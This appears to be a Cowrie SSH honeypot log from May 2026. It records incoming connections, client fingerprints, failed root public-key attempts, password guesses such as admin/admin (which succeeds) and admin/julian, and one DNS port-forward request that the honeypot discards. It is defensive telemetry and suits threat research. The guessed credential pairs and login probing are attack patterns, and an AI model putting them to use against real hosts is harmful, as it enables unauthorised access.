{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:bb:c8:dd:26:30:0b:ee:84:ae:bd:29:b7:67:c6:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDY7LPdrRzQ5880Zsh6utPl2EkE3/8CLPIho0WTwRFUL70HwteN06tFbf6TbZAyHrfoC5PYOfQicuPlIF14h7SUJ416UF6RGCTG3GHZvqW/OjZse4JD7QPJLfuBM/IvCJduLkOW3/b6PhGo3xN9FcPuSAVLBywhF1VVonuInVKGHPcvN17IV5iOVv5NOOPAdg3TR5rKgFe9VXt6jMkwn8ysPIT/T1X8tnlK8uLC7X3ctvw41fVB7g75YdNDYVtoSkR1flsNBIagsCWX0PnAZUy3fbMqtox6q6yygoU7MDzcKJhMjjAAWy2YKb5kgmZ9CmZNjIo/rB4ARBEDDbUPLNq8Q8mCvtR6i7xeY70y9XUhD0/xVuJpPPuK9VLwVlzscqQG4WbFtzE8ykuu2GEZgFAwEMElNrGy0l3irO6nY6w+T2ux3KnDlH7EpQVEiimaEbpJU61RnOc03UPXKXcdtFpzlAI5B9K2Jjefxk26RGAMsGlkYJabwOOIpvEJkB4i1/5GPwxdroIdpZYl5S1+ymaRaCBpfceDTGdBdgTffaW5iP7ymMrWWgJ2UuF8yGj/mHHd892OhfMJOj+5BtLymMpVRmMR4tQ1l9NW21dnUsjq04mBOinC9txc2QC1iyR+1eUQyNLX7o3q5grgAWxeVVLHT29wDnVmiFZKCPOQ3bdglw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:bb:c8:dd:26:30:0b:ee:84:ae:bd:29:b7:67:c6:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.392257Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:bb:c8:dd:26:30:0b:ee:84:ae:bd:29:b7:67:c6:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDY7LPdrRzQ5880Zsh6utPl2EkE3/8CLPIho0WTwRFUL70HwteN06tFbf6TbZAyHrfoC5PYOfQicuPlIF14h7SUJ416UF6RGCTG3GHZvqW/OjZse4JD7QPJLfuBM/IvCJduLkOW3/b6PhGo3xN9FcPuSAVLBywhF1VVonuInVKGHPcvN17IV5iOVv5NOOPAdg3TR5rKgFe9VXt6jMkwn8ysPIT/T1X8tnlK8uLC7X3ctvw41fVB7g75YdNDYVtoSkR1flsNBIagsCWX0PnAZUy3fbMqtox6q6yygoU7MDzcKJhMjjAAWy2YKb5kgmZ9CmZNjIo/rB4ARBEDDbUPLNq8Q8mCvtR6i7xeY70y9XUhD0/xVuJpPPuK9VLwVlzscqQG4WbFtzE8ykuu2GEZgFAwEMElNrGy0l3irO6nY6w+T2ux3KnDlH7EpQVEiimaEbpJU61RnOc03UPXKXcdtFpzlAI5B9K2Jjefxk26RGAMsGlkYJabwOOIpvEJkB4i1/5GPwxdroIdpZYl5S1+ymaRaCBpfceDTGdBdgTffaW5iP7ymMrWWgJ2UuF8yGj/mHHd892OhfMJOj+5BtLymMpVRmMR4tQ1l9NW21dnUsjq04mBOinC9txc2QC1iyR+1eUQyNLX7o3q5grgAWxeVVLHT29wDnVmiFZKCPOQ3bdglw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.396048Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:26:19:49:18:6c:5a:ef:3f:e4:93:73:5d:88:00:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeMwYCQqLA5AkigHDkmKCnVH/Ez4HVWtvltUosj5gEiXxdkZHvQYBVFOrjKa74BuO9bgSogjrNAzaoh6brUzQBjz5tCBny9zHIfU5lmWvoe4X4ApKwBytaWv+mkQUHHBM7agu24EvOLiKrL4UtWvQ89GZlu9pYYFLSsIxYg6ohEcg27UvCsKglCtXH0i3miGyDS2nikOzaGJPlZ1XclIQnJGqBVJ4wytLlzIMjE1y87THyLTqahTmp834niEw7IshdFeTQsOantf5TeH+nQU/ikijnp/0sIrgu7dpGa+IhMAVN30FJ37Cfu9paUHJtJp/qc+gM20o8LTPEZBLvLllXZDq+4JEGgGPXvoV5jQ6DRLShohkXnqQz4pmWzVaE/ol9w8QPWwjllAh9suSvfYj8iNCgCm9OIRH0oxUGTbzCU2e1VTedf+gJKqVG4TZVd76z61AlBVkWLQCmmG8fMZdZ3VzLhrDAWX34EVAKspZJZtkHcNXnIaiifDZtfFBYHI195zjLqQ99bpXOBYEW9yWEJWDC3xfNbd+iJRXoZadvdanWHTjp1CNQGvt/oVlhGqLRczvHzv82O852S+L2mMB5XEtGagrCDKDtXTuka9FQ26uDdSmhSCkxHVCDrFVCTGbkEJnphLZ2QYwyFLc2xvM2LML2l6d/p9AXqlT5v+Zfnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:26:19:49:18:6c:5a:ef:3f:e4:93:73:5d:88:00:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.514190Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:26:19:49:18:6c:5a:ef:3f:e4:93:73:5d:88:00:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeMwYCQqLA5AkigHDkmKCnVH/Ez4HVWtvltUosj5gEiXxdkZHvQYBVFOrjKa74BuO9bgSogjrNAzaoh6brUzQBjz5tCBny9zHIfU5lmWvoe4X4ApKwBytaWv+mkQUHHBM7agu24EvOLiKrL4UtWvQ89GZlu9pYYFLSsIxYg6ohEcg27UvCsKglCtXH0i3miGyDS2nikOzaGJPlZ1XclIQnJGqBVJ4wytLlzIMjE1y87THyLTqahTmp834niEw7IshdFeTQsOantf5TeH+nQU/ikijnp/0sIrgu7dpGa+IhMAVN30FJ37Cfu9paUHJtJp/qc+gM20o8LTPEZBLvLllXZDq+4JEGgGPXvoV5jQ6DRLShohkXnqQz4pmWzVaE/ol9w8QPWwjllAh9suSvfYj8iNCgCm9OIRH0oxUGTbzCU2e1VTedf+gJKqVG4TZVd76z61AlBVkWLQCmmG8fMZdZ3VzLhrDAWX34EVAKspZJZtkHcNXnIaiifDZtfFBYHI195zjLqQ99bpXOBYEW9yWEJWDC3xfNbd+iJRXoZadvdanWHTjp1CNQGvt/oVlhGqLRczvHzv82O852S+L2mMB5XEtGagrCDKDtXTuka9FQ26uDdSmhSCkxHVCDrFVCTGbkEJnphLZ2QYwyFLc2xvM2LML2l6d/p9AXqlT5v+Zfnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.518385Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:48:05.629529Z","src_ip":"172.110.221.82","session":"62d8db2f583a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14500,"dst_ip":"10.17.0.5","dst_port":22,"session":"329151ed6e2f","protocol":"ssh","message":"New connection: 87.251.64.176:14500 (10.17.0.5:22) [session: 329151ed6e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:49:37.551192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:49:37.557147Z","src_ip":"87.251.64.176","session":"329151ed6e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:49:37.679909Z","src_ip":"87.251.64.176","session":"329151ed6e2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:49:38.043058Z","src_ip":"87.251.64.176","session":"329151ed6e2f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:49:38.166259Z","session":"329151ed6e2f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:49:38.314255Z","src_ip":"87.251.64.176","session":"329151ed6e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:49:38.413205Z","src_ip":"87.251.64.176","session":"329151ed6e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.19","src_port":43608,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fb5b0f02e66","protocol":"ssh","message":"New connection: 94.26.106.19:43608 (159.203.135.109:22) [session: 9fb5b0f02e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:18.980685Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:18.985756Z","src_ip":"94.26.106.19","session":"9fb5b0f02e66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.19","src_port":43620,"dst_ip":"159.203.135.109","dst_port":22,"session":"443264c28c9a","protocol":"ssh","message":"New connection: 94.26.106.19:43620 (159.203.135.109:22) [session: 443264c28c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:19.105408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:19.110842Z","src_ip":"94.26.106.19","session":"443264c28c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:19.193594Z","src_ip":"94.26.106.19","session":"443264c28c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"julian","message":"login attempt [admin/julian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:19.362461Z","src_ip":"94.26.106.19","session":"443264c28c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.254","src_port":34270,"dst_ip":"10.17.0.5","dst_port":22,"session":"29fcb72d64d1","protocol":"ssh","message":"New connection: 185.222.138.254:34270 (10.17.0.5:22) [session: 29fcb72d64d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:19.714983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:19.719414Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:19.832798Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:37:43:7e:55:3f:7d:0d:d5:37:2b:7e:2f:41:ba:f2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILD0ul8ImBsixNlmpLvBLd2o6moYb8j52ep1Xcq1RcN7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 22:37:43:7e:55:3f:7d:0d:d5:37:2b:7e:2f:41:ba:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.383889Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:37:43:7e:55:3f:7d:0d:d5:37:2b:7e:2f:41:ba:f2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILD0ul8ImBsixNlmpLvBLd2o6moYb8j52ep1Xcq1RcN7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.388645Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.448653Z","src_ip":"94.26.106.19","session":"443264c28c9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:ab:b7:15:c8:e8:ea:85:2c:16:c9:57:7b:1f:4a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDh2Q77O/eKHanUBrZuyn01qj+sH/D/W0Q5wiT38/M3LF9FZidwY7AZ/g6RC8zJ0tR4jYE7dIHKcXRVn95JwO3PzJrSy1N+Ij+utNL5LQmZ+bCM5CMLMmsGYoKVqa2H9dYwIoBHhgCmKx1yNB270iyoj1YIWHBwisnrYRW+RvLHFDAVb0pflkf0yFRhwvOvLtb5tPtQgf/K6oUxirXU+oCdxMp0zMZkaLtDKEa9kOXRnAFsHwrEbVvFhEpEaWfysVgOGnfeVSTxP7vMEWd267rHuP8DJstAr9zpftUtUxKSvs98rhz9+4wq1DThZWAJ6lCTlkQHcZ13Zm+V96DxTJux","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:ab:b7:15:c8:e8:ea:85:2c:16:c9:57:7b:1f:4a:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.508329Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:ab:b7:15:c8:e8:ea:85:2c:16:c9:57:7b:1f:4a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDh2Q77O/eKHanUBrZuyn01qj+sH/D/W0Q5wiT38/M3LF9FZidwY7AZ/g6RC8zJ0tR4jYE7dIHKcXRVn95JwO3PzJrSy1N+Ij+utNL5LQmZ+bCM5CMLMmsGYoKVqa2H9dYwIoBHhgCmKx1yNB270iyoj1YIWHBwisnrYRW+RvLHFDAVb0pflkf0yFRhwvOvLtb5tPtQgf/K6oUxirXU+oCdxMp0zMZkaLtDKEa9kOXRnAFsHwrEbVvFhEpEaWfysVgOGnfeVSTxP7vMEWd267rHuP8DJstAr9zpftUtUxKSvs98rhz9+4wq1DThZWAJ6lCTlkQHcZ13Zm+V96DxTJux","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.513115Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:7e:7a:d1:64:14:5d:a7:c9:bd:79:eb:91:ac:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNn7U/3hAjZuycsckPl+mnAF2/bbQBbEV7vwwPI59Kmi3MjFtPtRtOeKo26PLVT5OyExnT4VBmAfKzeFER5oRY1D/pNnXJhg6VJQgK4BxUSCJvG2R0m3SuF2iQrXSeSey8h3a8ZOYDir0oby2NzuJ4gPsOBybCVdMEEGHNq0dsGOTHPiBpnuw5rFrUycyHPfr/dwpj+L077rKywPQdvMYIK3NDqta/DMNfwy5geeSRjdrNOkK/o90604EqabXuU7P0JmyeHd0ibiwBYxGkJi9jgtZvRfjhe2vTgGIcCd37R1ePasFVpxvO2h5I8hyFzULGsp6T4+yougNQqbVAwwAH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:7e:7a:d1:64:14:5d:a7:c9:bd:79:eb:91:ac:dd:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.629974Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:7e:7a:d1:64:14:5d:a7:c9:bd:79:eb:91:ac:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNn7U/3hAjZuycsckPl+mnAF2/bbQBbEV7vwwPI59Kmi3MjFtPtRtOeKo26PLVT5OyExnT4VBmAfKzeFER5oRY1D/pNnXJhg6VJQgK4BxUSCJvG2R0m3SuF2iQrXSeSey8h3a8ZOYDir0oby2NzuJ4gPsOBybCVdMEEGHNq0dsGOTHPiBpnuw5rFrUycyHPfr/dwpj+L077rKywPQdvMYIK3NDqta/DMNfwy5geeSRjdrNOkK/o90604EqabXuU7P0JmyeHd0ibiwBYxGkJi9jgtZvRfjhe2vTgGIcCd37R1ePasFVpxvO2h5I8hyFzULGsp6T4+yougNQqbVAwwAH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.633995Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:28:4c:b2:b5:54:df:09:e2:4a:a3:89:82:fc:bc:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOOrGgQOWBKktn6ySXZgCB+A87yKcL1K3LT8TASwV3xD+UlRic7WR3yc5U/4A5PNdP5x6sy4aSnWqdeStr9DCi/W36FluSkv53HikXwNnE/F3CLkep/7lev79qxZSJ2andP7/xHdfAXjNMgrRhdE/Gqlm+FreEd71w3RTeM/bYr3TSlOgYVzKOlcmUlvTnuoMYFzDMRWorN829YsbBY8qWgg0ER1BMpQgWDBWU0TetwpAJ2rbA1UepFdF6TTlyuY2RjzDL1c+k5gTBRKwWrPHNd7phLdoS7pMuRkIVkISxhHCb8msKxvvmzGciJzfct0nEC+fCeY0RkoAq8M2rzEAh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:28:4c:b2:b5:54:df:09:e2:4a:a3:89:82:fc:bc:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.749288Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:28:4c:b2:b5:54:df:09:e2:4a:a3:89:82:fc:bc:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOOrGgQOWBKktn6ySXZgCB+A87yKcL1K3LT8TASwV3xD+UlRic7WR3yc5U/4A5PNdP5x6sy4aSnWqdeStr9DCi/W36FluSkv53HikXwNnE/F3CLkep/7lev79qxZSJ2andP7/xHdfAXjNMgrRhdE/Gqlm+FreEd71w3RTeM/bYr3TSlOgYVzKOlcmUlvTnuoMYFzDMRWorN829YsbBY8qWgg0ER1BMpQgWDBWU0TetwpAJ2rbA1UepFdF6TTlyuY2RjzDL1c+k5gTBRKwWrPHNd7phLdoS7pMuRkIVkISxhHCb8msKxvvmzGciJzfct0nEC+fCeY0RkoAq8M2rzEAh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:54:20.753629Z","src_ip":"185.222.138.254","session":"29fcb72d64d1","protocol":"ssh"}
